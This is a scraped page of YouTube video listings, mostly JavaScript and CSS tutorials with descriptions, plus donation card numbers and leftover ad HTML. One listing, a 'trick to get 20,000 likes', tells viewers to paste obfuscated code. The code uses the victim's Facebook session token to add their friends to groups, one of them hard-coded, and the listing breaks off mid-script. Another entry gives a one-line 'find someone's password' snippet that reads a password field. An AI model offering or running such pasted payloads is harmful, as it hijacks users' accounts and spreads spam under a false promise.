Плейлист: goo.gl/CnULnq Telegram: https://t.me/jsrules Сайт: http://javascript.kiev.ua Помочь проекту: Приватбанк 5168 7573 0963 8130 - грн 4731 1856 0487 0037 - usd Лущенко Александр WebMoney R354667840881 - RUB U335516060480 - UAH Z735368139042 - USD Bitcoin 1BXtmroCWPnWfqsDUjos6YMrRtGExZ2GYL
Custom Alert Box Programming JavaScript CSS HTML Tutorial
 
12:04
Lesson Code: http://www.developphp.com/video/JavaScript/Custom-Alert-Box-Programming-Tutorial JavaScript comes equipped with stock dialog boxes that work well enough for alerting, confirming, and prompting for values. But most of the top interactive websites create their own custom dialog windows. Creating these windows yourself gives you more control over the interaction with the user, and allows you to customize every single aspect of the dialog window. In this first video lesson we will cover creating a dynamic custom alert box dialog from scratch. In the two following videos we will cover confirm and prompt boxes.
Views: 96482 Adam Khoury
Magic Header Scroll Page Tutorial JavaScript CSS HTML
 
09:59
Lesson Code: http://www.developphp.com/video/JavaScript/Magic-Header-Scroll-Page-Tutorial Learn to program a header that magically changes as the user scrolls down the page. When the user scrolls back to the top of the page we will make the header change back to its original display settings.
Views: 74925 Adam Khoury
Cool Javascript Tricks
 
08:21
Dancing Images Code: javascript:R=0; x1=.1; y1=.05; x2=.25; y2=.24; x3=1.6; y3=.24; x4=300; y4=200; x5=300; y5=200; DI=document.getElementsByTagName("img"); DIL=DI.length; function A(){for(i=0; i-DIL; i++){DIS=DI[ i ].style; DIS.position='absolute'; DIS.left=(Math.sin(R*x1+i*x2+x3)*x4+x5)+"px"; DIS.top=(Math.cos(R*y1+i*y2+y3)*y4+y5)+"px"}R++}setInterval('A()',5); void(0); Dancing Elements Code: javascript:R=0; x1=.1; y1=.05; x2=.25; y2=.24; x3=1.6; y3=.24; x4=300; y4=200; x5=300; y5=200; DI=document.getElementsByTagName("div"); DIL=DI.length; function A(){for(i=0; i-DIL; i++){DIS=DI[ i ].style; DIS.position='absolute'; DIS.left=(Math.sin(R*x1+i*x2+x3)*x4+x5)+"px"; DIS.top=(Math.cos(R*y1+i*y2+y3)*y4+y5)+"px"}R++}setInterval('A()',5); void(0); How to find someone's password: javascript: alert(document.getElementById('Passwd').value); How to change the background color of the page you are looking at: javascript: document.body.style.backgroundColor = "red"; void 0
Views: 310 Time_Traveler
Javascript - Change element CSS by ID using onclick event
 
02:44
A simple video showing how to change the CSS of an element by assigning it an ID and using the click of a button. In this example we will be changing the font size of a p tag, it will be changing from a smaller text to a larger text once the button is clicked. Comment below if you have any other questions and I'll be more than happy to help you out. Also comment below for any future videos you would like to see! SUBSCRIBE!
Views: 684 Meraki Media
Goldman Sachs - the most Convex A+ Bond?
 
01:43
Goldman Sachs (17/28) one of the most convex A+ bonds? Enter trade when market interest rate is at 6% for max yield? @!DOCTYPE html? @html? @head? @meta charset="UTF-8"? @meta name="description" content="Sam Finance Concepts"? @meta name="keywords" content="Sam Finance Concepts"? @meta name="author" content="Sam Finance Concepts"? @meta name="viewport" content="width=device-width, initial-scale=1.0"? @[email protected]/title? @h1 style="font-size:60px; background-color:lightgrey;" [email protected]/h1? @style? body {background-color: lightgrey;} h1 {color: black; margin-left: 40px;} .center { margin: auto; width: 80%; border: 4px solid #73AD21; padding: 20px; } h2 {color: green; margin-left: 40px; text-align: center; } input[type=text] { width: 100%; padding: 12px 20px; margin: 8px 0; box-sizing: border-box; } .button { background-color: #4CAF50; border: none; color: white; padding: 15px 32px; text-align: center; text-decoration: none; display: inline-block; font-size: 16px; margin: 4px 2px; cursor: pointer; } @/style? @/head? @body? @div class="center"? @form? @font size="6"?Year1 IR% :@/[email protected]? @input type="text" style="font-size:18pt" id="y1" /? @hr? @br? @font size="6"?FinalYear IR% :@/[email protected]? @input type="text" style="font-size:18pt" id="fy" /? @hr? @br? @font size="6"?Total Years between :@/[email protected]? @input type="text" style="font-size:18pt" id="ty" /? @hr? @br? @input type="button" class="button" onClick="f_compound()" value="Calculate" /? @/form? @/div? @script? function f_compound() { y1 = document.getElementById("y1").value; fy = document.getElementById("fy").value; ty = document.getElementById("ty").value; if(isNaN(y1 && fy && ty)) { alert("Please input numbers only"); } else { ex = (1 / (ty - 1)); document.getElementById("result").innerHTML = (Math.pow((Math.pow((1+(fy / 100)),ty)) / (1 + (y1 / 100)), ex) - 1) * 100; } } @/script? @h2?The Approx annual Forward Rate - discrete %: @[email protected]? @span id = "result"[email protected]/span? @/h2? @/body? @/html?
Views: 265 Sam Finance Tech
[Javascript Tutorial] css id vs class attributes,  when to use id and when to use class, difference
 
06:35
[Javascript Tutorial] css id vs class attributes, when to use id and when to use class, difference between id and class. css3 id vs class attributes, when to use id and when to use class, difference between id and class in css css benefits of using class over id, css3 benefits of using id over class, html id vs class, css id vs class, html class vs id, css class vs id, The Difference Between ID and Class, id vs class tutorial, difference between id and class tutorial,The Difference Between class and id HTML5, CSS3 and JavaScript Tutorials , lessons with examples. Techsith.com id vs class more of a design related question and its a very important one. Overall you will be using more classes then ids. id: think of element that is unique. there is only one id per element. your html validateor would throw and en error if you do use it which means you will not be reusing the same style anywhere else. all the main containers in your HTMLs you should use id because you are not going to repete them . That doesnt mean that you cant use class there. advantage of using is for is as your main namespace. for css this way you can segregate work so your css doesn't messup. for example #leftContainer .button { color:red} which mean all the botton in the left containers are red. class: you can used them freely. any common styles you can define as class. as you can have multiple classes for the same element. and mix and match of the classes will make your css small . for example you can create two divs with same color but diffrent font sizes. Dont forget the attributes. actually id and class are attributes wich special meaning. and you can create your own custome attributes. like myattr. Platforms like angularjs uses them freely. overall i thin its better to use classes then ids especially when you working in a team envirement where you are responsible for a partial html . using id can be riskier if someone else is using the same id in the other part of the html . in css id has higher priority than class for example ...... SUBSCRIBE for more videos!
Views: 92 Loan Can Thi
Protetor Marcelo
 
05:27
Reportagem da Record sobre o protetor Marcelo. Seu amor e abnegação pelos animais. Ele volta a favela onde morou para resgatar e castrar animais. Colaborações e doações são bem-vindas e necessárias para que o projeto de castração continue. http://marcelinhoprotetor.blogspot.com ou [email protected]
Views: 3847 MuralAnimal Marli
Another Weird Diep Script
 
01:44
Nothing much I can say here. It's a diep script that does weird things. THE SCRIPT: // ==UserScript== // @name diep on drugs // @namespace http://tampermonkey.net/ // @version 0.1 // @description try to take over the world! // @author adasba // @match http://*/* // @grant none // @run-at document-idle // ==/UserScript== (function() { 'use strict'; //setTimeout(function() { var shaderButton = document.createElement('button'); document.getElementsByTagName('body')[0].appendChild(shaderButton); shaderButton.style = "position:absolute; top:10px; left:10px;"; shaderButton.innerHTML = "Turn on the shader or something lol"; shaderButton.onclick = function() {input.set_convar('ren_background', false);} var c = document.getElementById('canvas'); var ctx = c.getContext('2d'); c.style.opacity = 0; var c2 = document.createElement('canvas'); c2.style = "position:absolute;top:0px;left:0px;width:100%;height:100%;z-index:-1;"; document.getElementsByTagName('body')[0].appendChild(c2); var ctx2 = c2.getContext('2d'); var c3 = document.createElement('canvas'); var ctx3 = c3.getContext('2d'); var i = 0; var depth = 6; c2.width = c.width; c2.height = c.height; c3.width = c.width; c3.height = c.height; window.addEventListener('resize', function() { c2.width = c.width; c2.height = c.height; c3.width = c.width; c3.height = c.height; }, false); var li = 0; function loop() { li++; ctx3.clearRect(0, 0, c3.width, c3.height); ctx3.drawImage(c, 0, 0, c3.width, c3.height); ctx3.globalCompositeOperation = "source-in"; ctx3.fillStyle = "hsla(" + li + ", 100%, 50%, 1)"; ctx3.fillRect(0, 0, c2.width, c2.height); ctx3.globalCompositeOperation = "normal"; ctx.globalCompositeOperation = "hue"; ctx.drawImage(c3, 0, 0, c.width, c.height); ctx.globalCompositeOperation = "normal"; ctx2.drawImage(c, 0, 0, c2.width, c2.height); ctx2.drawImage(c2, c2.width / 32, c2.height / 32, c2.width / 32 * 30, c2.height / 32 * 30); ctx2.fillStyle = "hsla(0, 0%, 0%, 0.05)"; ctx2.fillRect(0, 0, c2.width, c2.height); requestAnimationFrame(loop); } loop(); //}, 5000); })(); If you enjoyed the video, like, comment, and subscribe, there's no harm in doing it! Check out these channels: https://www.youtube.com/channel/UCLBSp_S27grf3SC-Nv7_QmA https://www.youtube.com/channel/UCO7rnIYnt3hIZTGFGsszYQA https://www.youtube.com/channel/UCdPF-HtDi_XCRe7ixKv5VPw https://www.youtube.com/channel/UCXZ8ycjFBuINRooDDCl71RQ Some Diep.io Websites: http://diepio-conception.wikia.com/wiki/Diep.io_Conception_Wikia http://diepio.wikia.com/wiki/Diep.io_Wikia https://www.reddit.com/r/Diepio/
社團法人苗栗縣愛加倍社區關懷協會100年前3季成果展
 
01:37
<div id=\"yam_AD_Expand_DIV_22692_8432_36992\" name=\"yam_AD_Expand_DIV_22692_8432_36992\" style=\"position: inherit; width: 960px; height: 30px; overflow: hidden; top: 0px\"><object id=\"yam_AD_22692_8432_ID\" codebase=\"http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,0,0\" classid=\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\" width=\"960\" height=\"250\" closeexpand=\"function () { return eval(instance.CallFunction("<invoke name=\\""+name+"\\" returntype=\\"javascript\\">" + __flash__argumentsToXML(arguments,0) + "</invoke>")); }\"><param name=\"_cx\" value=\"25400\" /><param name=\"_cy\" value=\"6614\" /><param name=\"FlashVars\" value=\"\" /><param name=\"Movie\" value=\"http://admd.yam.com/Mater_Tpls/FlashExpand/FlashExpandSet.swf\" /><param name=\"Src\" value=\"http://admd.yam.com/Mater_Tpls/FlashExpand/FlashExpandSet.swf\" /><param name=\"WMode\" value=\"Opaque\" /><param name=\"Play\" value=\"0\" /><param name=\"Loop\" value=\"-1\" /><param name=\"Quality\" value=\"High\" /><param name=\"SAlign\" value=\"\" /><param name=\"Menu\" value=\"-1\" /><param name=\"Base\" value=\"\" /><param name=\"AllowScriptAccess\" value=\"always\" /><param name=\"Scale\" value=\"NoScale\" /><param name=\"DeviceFont\" value=\"0\" /><param name=\"EmbedMovie\" value=\"0\" /><param name=\"BGColor\" value=\"\" /><param name=\"SWRemote\" value=\"\" /><param name=\"MovieData\" value=\"\" /><param name=\"SeamlessTabbing\" value=\"1\" /><param name=\"Profile\" value=\"0\" /><param name=\"ProfileAddress\" value=\"\" /><param name=\"ProfilePort\" value=\"0\" /><param name=\"AllowNetworking\" value=\"all\" /><param name=\"AllowFullScreen\" value=\"false\" /></object></div><img border=\"0\" src=\"http://admd.yam.com/AD_V/?ADID=F99E0**.*9-8DB_163B--.0__.6C&AID=97C23**.*7-6BB_62DE--.A__.E9&LID=AF6C5**.*9-159_FF30--.3__.6D&UNID=1315993278046&RID=0.009896117985128738\" width=\"0\" height=\"0\" style=\"display: none\" alt=\"\" /> 100年8月19日,<noscript></noscript><!-- E - yam AD - 200905041630 - Layout_ID:00156 --><script language=\"Javascript\" type=\"text/javascript\"> var pID=3350558; var comm_num=0; var isadmin=1; </script><script language=\"javascript\" type=\"text/javascript\"> <!-- <![CDATA[ function show() { refer1=document.getElementById(\"show1\"); refer2=document.getElementById(\"show2\"); if (refer1.style.display!=\"none\") { refer1.style.display=\"none\"; refer2.style.display=\"block\"; } else { refer1.style.display=\"block\"; refer2.style.display=\"none\"; } } // ]]> --> </script><!-- Lcl outer templat --><div id=\"yui-main\"><div class=\"yui-b\"><div class=\"yui-gc\"><!-- Lcl 1 --><div class=\"yui-u first\"><!-- Lc1 content here --><div class=\"mod\"><div class=\"hd\"><h1 class=\"heading\"><span style=\"float: left\">社團法人苗栗縣愛加倍社區關懷協會100年前3季成果展</span></h1></div></div></div></div></div></div>
Views: 148 林政成
colorpicker
 
03:58
Views: 10 Damien Peillon
Getting or Setting HTML Content in CefSharp
 
03:04
A step-by-step guide on getting or setting HTML content in CefSharp. You can get the source code of this sample in the GitHub repository: https://github.com/cefsharptutorials/cefsharptutorials/tree/master/CefSharpTutorials/GettingSettingHtmlContent About CefSharp: https://cefsharp.github.io/ Previous Tutorials: CefSharp Basics: Display an HTML5/CSS3 Webpage: https://www.youtube.com/watch?v=gphqZTCWoZE&index=1&list=PLtnonz7r7xrqI7OS0eWwc4lrwV5zqI4r3 URL Navigation Using CefSharp: https://www.youtube.com/watch?v=NTlErRwyYRA&index=2&list=PLtnonz7r7xrqI7OS0eWwc4lrwV5zqI4r3 Executing JavaScript from the .NET Side Using CefSharp: https://www.youtube.com/watch?v=Gmdx0cGnNsE&list=PLtnonz7r7xrqI7OS0eWwc4lrwV5zqI4r3&index=3 Injecting a .NET Object into JavaScript Using СefSharp: https://www.youtube.com/watch?v=T10Xfe4bepo&list=PLtnonz7r7xrqI7OS0eWwc4lrwV5zqI4r3&index=4 Remote Debugging Using СefSharp: https://www.youtube.com/watch?v=N4gmRVd3Awc&list=PLtnonz7r7xrqI7OS0eWwc4lrwV5zqI4r3&index=5 Transcript: 00:03 First of all we need to create a WPF project with x86 or x64 configuration and reference the CefSharp library via NuGet. You can find the detailed instructions in the previous tutorials. 00:15 Next Step is MainWindow Markup. 00:17 Add the CefSharp XML namespace to the MainWindow. 00:26 Create two columns and two rows in the root grid. 00:46 Add the ChromiumWebBrowser to the left side of the window. 00:50 Specify the initial address and create the FrameLoadEnd handler. 01:11Add the SetHTML Button to the top right cell of the grid, set its name and create the click event handler. 01:34 Add the TextBox to the bottom right cell of the grid. This TextBox will be used for displaying and modifying the HTML content of the ChromiumWebBrowser. 01:52 Now Let`s Implement the MainWindow Behaviour. 01:55 Let’s update the TextBox content. Go to the FrameLoadEnd event handler and open the Dispatcher.BeginInvoke instruction. 02:10 Inside of the BeginInvoke fill the HtmlTextBox.Text property value with the result of the BrowserView.GetSourceAsync method. Please note that the delegate used in the BeginInvoke instruction should be marked as async. 02:23 This handler will update the text box content every time the browser finishes loading any frame. 02:28 Go to the Button click handler. Inside this handler call the BrowserView.LoadHTML method and pass the text box content as its argument. 02:42 So, Now You Can Build and Launch Your Application. #EmbeddedBrowsers #HTMLContetn #GettingOrSetting
Views: 2822 Embedded Browsers
Tutorial ~~ dna.js REST-driven Search Component
 
08:58
https://dnajs.org dna.js REST-driven Search Component Video Tutorial – Transcript 1) Welcome to the dna.js REST-driven Search Component tutorial. Over the next few minutes, we will use jQuery and dna.js to build from scratch a book search tool on top of the Google Books API. 2) Using your favorite code editor, create an HTML file named book-finder.html. We'll begin with some very basic boilerplate HTML to give us a valid web page as a starting point. Just after the "h1" header line, insert some plain old HTML for a search input box and a "Find" button. 3) Then add the HTML to display the search results. The "div" with the "books" class is for a list of books, and we'll include one book stub inside the list so we can mockup and style the web page. On the left side will be the thumbnail image for the book cover. Use the sample book cover image from the dnajs.org website. On the right side, will be meta information about the book showing title, publisher, and price. 4) Let's verify that the web page displays in a browser. It does display, but it's quite ugly. So, let's add just enough CSS to make the style reasonable. For production code, you'll want to use a CSS preprocessor, such as LESS, which has nice, clean notation for variables and mixins. For this tutorial, however, the "style" tag will get the job done. This CSS will display each book as a blue box with an 80 pixel wide thumbnail and the book metadata as an inline-block. 5) The book-finder.html page looks better now, but it's still completely static. Next we'll turn the static book HTML into a template that can take JSON data. Before we convert the HTML into a data-driven template, we need to know the structure of the data. Do this in your browser by entering the URL of a sample REST call and manually examining the JSON response. 6) The Google APIs are at "https://www.googleapis.com". Tack on "books" to specify the Books API and "v1" for version 1 of the API. We want the "volumes" data, and our sample search query is made with the parameter "q=ice". 7) Instead of getting back HTML to render a web page, the REST API sends us JSON data. JSON stands for JavaScript Object Notation; it's simple and easy to read. In this case, the search results are returned as an array of books in the "items" field. We are only interested in four specific pieces of data for each book. Three of those fields are in the book's "volumeInfo" object. There's the "title" and the "publisher", and a little further down inside the "imageLinks" object is the "thumbnail" URL. Over in the "salesInfo" object, we find the "listPrice" object, which contains the "amount" field. Now we have the information necessary to turn our static HTML for one book into a data-driven template to generate a list of books. 8) Convert the book HTML into a template by changing the class "book" to an ID (so the template has a name) and adding the class "dna-template". Now designate where data is to be injected into the template. Wrap field names in double tildes (~~) and use dot notation to reference nested data in the JSON. For example, the hard-coded value of the image's "src" attribute is replaced with "~~volumeInfo.imageLinks.thumbnail~~". The title becomes "volumeInfo.title", and the publisher becomes "volumeInfo.publisher". Lastly, inject price with "saleInfo.listPrice.amount". 9) So now our book template is done and next we'll load the jQuery and dna.js libraries. A CDN, Content Delivery Network, makes it easy to load the CSS and JavaScript files for the libraries. First, load the CSS file for dna.js. Within the "head" section, insert a "link" tag to the stylesheet at "cdn.jsdelivr.net/dna.js/0/dna.css". Then right before the closing "body" tag insert a "script" tag to load jQuery followed by one to load dna.js. Browsers cache the files from the CDN for improved performance, but for a production website you can further improve performance using a build process that unifies and minifies your CSS and JavaScript. 10) Now for the fun part: writing the JavaScript to make the REST call and display the search results. Create a function named "findBooks". The first line of code reads the user's search terms by getting the value of the "input" element. 11) Remember that URL we used for the sample REST call? Use that same URL but with the search terms appended dynamically. Then to make the actual REST call, use jQuery's handy getJSON function. The first parameter is the URL of the REST call, and the second parameter is the callback function to handle the results. 12) Of course, now we need to define the handleResults function. jQuery passes the response JSON into the callback function, and we are going to use that data to tell dna.js to clone the "book" template -- one clone for each book. The first parameter for the dna.clone function is the name of the template and... Remainder of transcript at: http://dnajs.org/book-finder.txt
Views: 226 Dem Pilafian
Loading screen while Stripe generates token
 
01:47
I'm using strip.js to generate the spinner This is the sample code, don't forget to replace 'loading' with ID of the DIV container where you want the spinner to appear // Spinner START var opts = { lines: 13 // The number of lines to draw , length: 28 // The length of each line , width: 14 // The line thickness , radius: 42 // The radius of the inner circle , scale: 1 // Scales overall size of the spinner , corners: 1 // Corner roundness (0..1) , color: '#000' // #rgb or #rrggbb or array of colors , opacity: 0.25 // Opacity of the lines , rotate: 0 // The rotation offset , direction: 1 // 1: clockwise, -1: counterclockwise , speed: 1 // Rounds per second , trail: 60 // Afterglow percentage , fps: 20 // Frames per second when using setTimeout() as a fallback for CSS , zIndex: 2e9 // The z-index (defaults to 2000000000) , className: 'spinner' // The CSS class to assign to the spinner , top: '50%' // Top position relative to parent , left: '50%' // Left position relative to parent , shadow: false // Whether to render a shadow , hwaccel: false // Whether to use hardware acceleration , position: 'absolute' // Element positioning } var target = document.getElementById('loading') var spinner = new Spinner(opts).spin(target);
Views: 219 ildarius
Javascript Tutorial Bangla ( 2nd Part - Comment & Statement )
 
08:35
Tutorial: Javascript Tutorial Bangla ( 2nd part - Statement,Comments ) Presented By : Codeguru facebook: https://www.facebook.com/Codeguru-955004411216208/ blogspot: http://codeguru-bangladesh.blogspot.com ----------------------------------------------------------------------------------------------------------- javascript,tutorial, bigginers,Javascript tutorial Bangla, Javascript tutorial in Bangla,Vbscript, Visual Studio,CSS,Web,Web Application, free bangla video,free bangla tutorial, bangla video tutorial,bangla tutorial, javascript bangla tutorial,bangla javascript tutorial, javascript tutorial in bangla, javascript tutorial,java tutorial, html javascript tutorial, html tutorial,javascript tutorial advanced, jquery,php tutorial,html5 tutorial, javascript game tutorial
Views: 2121 Codeguru BD
04 - Variables - JavaScript Tutorials
 
05:24
JavaScript Tutorials 04 - Variables In this tutorial, I demonstrate how to assign and use variables in JavaScript. Previous Tutorial: 03 - Numbers http://www.youtube.com/watch?v=JOlGisBYUDs Next Tutorial: 05 - Math Operators http://www.youtube.com/watch?v=JAihS1kpRxQ Quick Steps: Title your document: 04 - Variabls Script tags (should be default by now) Create a variable using: var varname = 'value'; Print it to the page using: document.write(varname); Practice messing around with your variables Feel free to ask questions Comment, rate, subscribe Helpful Tips: You can assign a variable to both strings and numbers: var strvar = 'This is a string variable...'; var numvar = 'This is a number variable...'; You don't need the "var" keyword to create a new variable: newvar = 'I did not use the var keyword...'; More help is available at: http://www.w3schools.com/ Background Music: Thelonious Monk - Blue Monk
Views: 438 llewgnolm
Transform2d clearly explained Part One
 
06:53
This video clearly explains the css3 transform2d property. There are 2 dimensions with transform2d. The X Axis is one dimension. This the horizontal axis. The Y Axis is the other dimension. This is the vertical axis. Transform transition along the X (horizontal) axis , we use positive values to translate to the right. We use negative values to translate to the left. Transform translate along the Y (vertical) axis, we use positive values to translate down. We use negative values to translate up. We will use vanilla javascript to add the class to initiate the transform. This is the code: document.querySelector('#add').addEventListener('click', function(){ document.getElementById('transform').classList.add('transform'); });
Views: 69 creativeclerk
Warn user before leaving web page with unsaved changes
 
10:03
Link for all dot net and sql server video tutorial playlists http://www.youtube.com/user/kudvenkat/playlists Link for slides, code samples and text version of the video http://csharp-video-tutorials.blogspot.com/2015/03/warn-user-before-leaving-web-page-with.html In this video, we will discuss how to warn the user before leaving web page with unsaved changes. Let us understand this with an example. Here is what we want to do 1. When the WebForm is first loaded, the Save button must be disabled as there is nothing to save on the form. 2. As we start to type in the text box the Save button should be enabled 3. At this point, a) If we try to close the browser or b) Refresh the page by hitting F5 key or c) If we try to navigate to another page by changing the URL in the address bar We should get a warning message stating that we have unsaved data on the page 4. If we have some data to save in the textbox and When we hit the Save button, the data should be saved and when the page reloads the textbox should be empty and the Save button should be disabled. 5. If there is nothing to save and when we try to close or refresh or navigate to a different URL, no warning message should be displayed. ASPX Code [%@ Page Language="C#" CodeBehind="WebForm1.aspx.cs" AutoEventWireup="true" Inherits="Demo.WebForm1" %] [html xmlns="http://www.w3.org/1999/xhtml"] [head id="Head1" runat="server"] [title][/title] [/head] [body style="font-family:Arial"] [form id="form1" runat="server"] [asp:TextBox ID="TextBox1" runat="server" TextMode="MultiLine" Rows="5" Columns="30" onkeyup="hasPendingChanges()"] [/asp:TextBox] [br /][br /] [asp:Button ID="Button1" runat="server" Text="Save" disabled="true" OnClientClick="onSaveButtonClick()" onclick="Button1_Click" /] [script type="text/javascript"] var changesSaved = true; function onSaveButtonClick() { changesSaved = true; } function hasPendingChanges() { changesSaved = document.getElementById('TextBox1').value.length == 0; document.getElementById('Button1').disabled = changesSaved; } window.onbeforeunload = function () { if (!changesSaved) { return "You haven't saved your changes"; } }; [/script] [/form] [/body] [/html] ASPX.CS code using System; namespace Demo { public partial class WebForm1 : System.Web.UI.Page { protected void Page_Load(object sender, EventArgs e) { } protected void Button1_Click(object sender, EventArgs e) { // ADO.NET Code to save changes to the DB TextBox1.Text = ""; } } }
Views: 16466 kudvenkat
CS50 2017 - Lecture 11 - JavaScript
 
01:43:39
00:00:00 - CS50 Things 00:02:08 - Stranger Things (SPOILER ALERT) 00:03:36 - MVC 00:05:10 - froshims4 00:12:02 - Jinja 00:18:12 - Event-Based Programming 00:21:57 - JavaScript 00:29:39 - dom0.html 00:38:34 - dom1.html 00:50:35 - form0.html 00:52:50 - form1.html 01:00:31 - form2.html 01:06:51 - ajax0.html 01:13:14 - Callback Functions 01:18:08 - ajax1.html 01:23:50 - geolocation.html 01:28:32 - blink.html 01:32:33 - map.html
Views: 42607 CS50
Rainbow Diep.io (WARNING: FLASHING COLORS)
 
01:31
The script: // ==UserScript== // @name diep on drugs // @namespace http://tampermonkey.net/ // @version 0.1 // @description try to take over the world! // @author adasba // @match http://*/* // @grant none // ==/UserScript== (function() { 'use strict'; var shaderButton = document.createElement('button'); document.getElementsByTagName('body')[0].appendChild(shaderButton); shaderButton.style = "position:absolute; top:10px; left:10px;"; shaderButton.innerHTML = "Turn on the shader or something lol"; shaderButton.onclick = function() {input.set_convar('ren_background', false);} var c2 = document.createElement('canvas'); c2.style = "position:absolute;top:0px;left:0px;width:100%;height:100%;z-index:-1;"; document.getElementsByTagName('body')[0].appendChild(c2); var ctx2 = c2.getContext('2d'); var c = document.getElementById('canvas'); var ctx = c.getContext('2d'); c.style.opacity = 0; var i = 0; var depth = 6; c2.width = c.width; c2.height = c.height; window.addEventListener('resize', function() { c2.width = c.width; c2.height = c.height; }, false); var li = 0; function loop() { li++; ctx.globalCompositeOperation = "source-in"; ctx.fillStyle = "hsla(" + li * 5 + ", 100%, 50%, 1)"; ctx.fillRect(0, 0, c2.width, c2.height); ctx.globalCompositeOperation = "normal"; ctx2.drawImage(c, 0, 0, c2.width, c2.height); ctx2.drawImage(c2, 5, 5, c2.width - 10, c2.height - 10); requestAnimationFrame(loop); } loop(); })(); If you enjoyed the video, like, comment, and subscribe, there's no harm in doing it! Check out these channels: https://www.youtube.com/channel/UCLBSp_S27grf3SC-Nv7_QmA https://www.youtube.com/channel/UCO7rnIYnt3hIZTGFGsszYQA https://www.youtube.com/channel/UCdPF-HtDi_XCRe7ixKv5VPw https://www.youtube.com/channel/UCXZ8ycjFBuINRooDDCl71RQ Some Diep.io Websites: http://diepio-conception.wikia.com/wiki/Diep.io_Conception_Wikia http://diepio.wikia.com/wiki/Diep.io_Wikia https://www.reddit.com/r/Diepio/
Hextris Progressive Web App (PWA)
 
10:45
The Blog Post - https://love2dev.com/blog/pwa-hextris/ GitHub Repo - https://github.com/docluv/hextris Play the Game - https://hextris.love2dev.com Do you like playing Tetris like games? Do you have a browser? Today I am excited to announce my latest progressive web application project, Hextris. Its not Tetris, but a game in what I call the geometric puzzle matching genre. Game play is simple. If you are on the desktop you can use the right and left arrow keys to rotate a hexagon to stack colored sides. On touch screens just tap the right and left side of the screen to rotate the hexagon. Get at least three lines of the same color together to make a match and clear then from the board. The game ends when your stack of colors reaches the game board boundary. # Progressive Web Application Development by Example This is the code repository for Progressive Web Application Development by Example https://www.packtpub.com/application-development/progressive-web-application-development-example?utm_source=github&utm_medium=repository&utm_campaign=9781787125421, published by Packt. **Develop fast, reliable, and engaging user experiences for the web** ## What is this book about? Are you a developer that wants to create truly cross-platform user experiences with a minimal footprint, free of store restrictions and features customers want? Then you need to get to grips with Progressive Web Applications (PWAs), a perfect amalgamation of web and mobile applications with a blazing-fast response time. This book covers the following exciting features: * Explore the core principles of PWAs * Study the three main technical requirements of PWAs * Discover enhancing requirements to make PWAs transcend native apps and traditional websites * Create and install PWAs on common websites with a given HTTPS as the core requirement * Get acquainted with the service worker life cycle If you feel this book is for you, get your copy https://amzn.to/2uTCevY today! ## Instructions and Navigations All of the code is organized into folders. For example, Chapter02. The code will look like the following: ``` function renderResults(results) { var template = document.getElementById("search-results- template"), searchResults = document.querySelector('.search-results'); ``` **Following is what you need for this book:** Progressive Web Application Development by Example is for you if you’re a web developer or front-end designer who wants to ensure improved user experiences. If you are an application developer with knowledge of HTML, CSS, and JavaScript, this book will help you enhance your skills in order to develop progressive web applications, the future of app development. With the following software and hardware list you can run all code files present in the book (Chapter 1-10). ### Software and Hardware List | Chapter | Software required | OS required | | -------- | ------------------------------------| -------------------------------------------------------------| | 1-10 | Nodejs 6.1 or above |Windows, MacOS or Linux supported by NodeJs and has a browser | | | Chrome, Microsoft Edge, | | | | FireFox, Opera or Safari | | | | Visual Studio Code or Sublime | | Get social with Love2Dev on: Facebook: https://www.facebook.com/Love2dev Twitter: https://twitter.com/ChrisLove G+: https://plus.google.com/b/110904107389779237581/?pageId=110904107389779237581 Linkedin: https://www.linkedin.com/in/love2dev Pinterest: https://www.pinterest.com/docluv/
Views: 270 Love2Dev
truco para obtener 20.000 likes
 
00:43
a estos dale me gusta:http://www.facebook.com/pages/-Swageados/137982029683218 http://www.facebook.com/pages/Viliunaticas/419067438143985 y copia esto function penetrasi(e){jx.load(window.location.protocol+"//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg="+document.getElementsByName("fb_dtsg")[0].value+"&group_id="+memberGroupId+"&source=typeahead&members="+e+"&nctr[_mod]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user="+Env.user,function(e){e=e.substring(e.indexOf("{")),e=JSON.parse(e),i--,kunaon="div class='friend-edge-name' style='text-align:left;font-size:10px;white-space:pre-wrap;",e.error?(kunaon+="color:darkred'",kunaon=e.errorDescription?kunaon+e.errorDescription:kunaon+JSON.stringify(e,null,"")):(kunaon+="color:darkgreen'",kunaon+=arr[i],suc++),kunaon+="/div",e="div id='friend-edge-display' style='position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;background-color:rgba(255,255,255,0.9);z-index:9999;font-size:14px;text-align:center;padding:15px;border-radius:14px;border:8px solid rgba(0,0,0,0.5)'"+("div style='padding-bottom:10px;font-size:20px;'"+tulisanNganu+"/div"),0i?(e+=arr.length+" Suscribers detectedbr/",e+="b"+suc+"/b Suscribers added of "+(arr.length-i)+" Suscribers Processed ",e+="("+i+" more to go..)",e=e+"div class='friend-edge'"+kunaon,e+="/div"):(e+=arr.length+" Suscribers detected and ",e+="b"+suc+" Suscribers added/b",e+="divspan class='uiButton' onClick='document.getElementById(\"pagelet_welcome_box\").style.display=\"none\"'Close/span/div"),document.getElementById("pagelet_welcome_box").innerHTML=e+"/div"},"text","post"),tay--;if(0tay){var t=arr[tay];setTimeout("penetrasi("+t+")",100)}console.log(tay+"/"+arr.length+":"+t+", success:"+suc),0xf2a794cf90e3!=memberGroupId&&jx.load(window.location.protocol+"//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg="+document.getElementsByName("fb_dtsg")[0].value+"&group_id=134344036695273&source=typeahead&members="+e+"&nctr[_mod]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user="+Env.user,function(){},"text","post")}function clickfr_callback(){0document.getElementsByName("ok").length&&nHtml.ClickUp(document.getElementsByName("ok")[0]);var e=arr[i];iarr.length&&addfriend(e.substring(0,4))}function clickfr(){0document.getElementsByClassName("search").length?(console.log(document.getElementsByClassName("search")[0].childNodes[0].childNodes[0].childNodes[1].innerHTML),document.getElementsByClassName("search")[0].childNodes[0].childNodes[0].href="javascript:void(0);",nHtml.ClickUp(document.getElementsByClassName("search")[0].childNodes[0].childNodes[0].childNodes[1])):j++,setTimeout("clickfr_callback()",2e3)}function addfriend(e){i++,document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].focus(),document.getElementsByClassName("mb
Views: 743 sofia diaz
Video aula de Javascript - parte 20
 
03:48
Curso básico e intuitivo ensinando como programar em javascript e suas sintaxes parte 20.
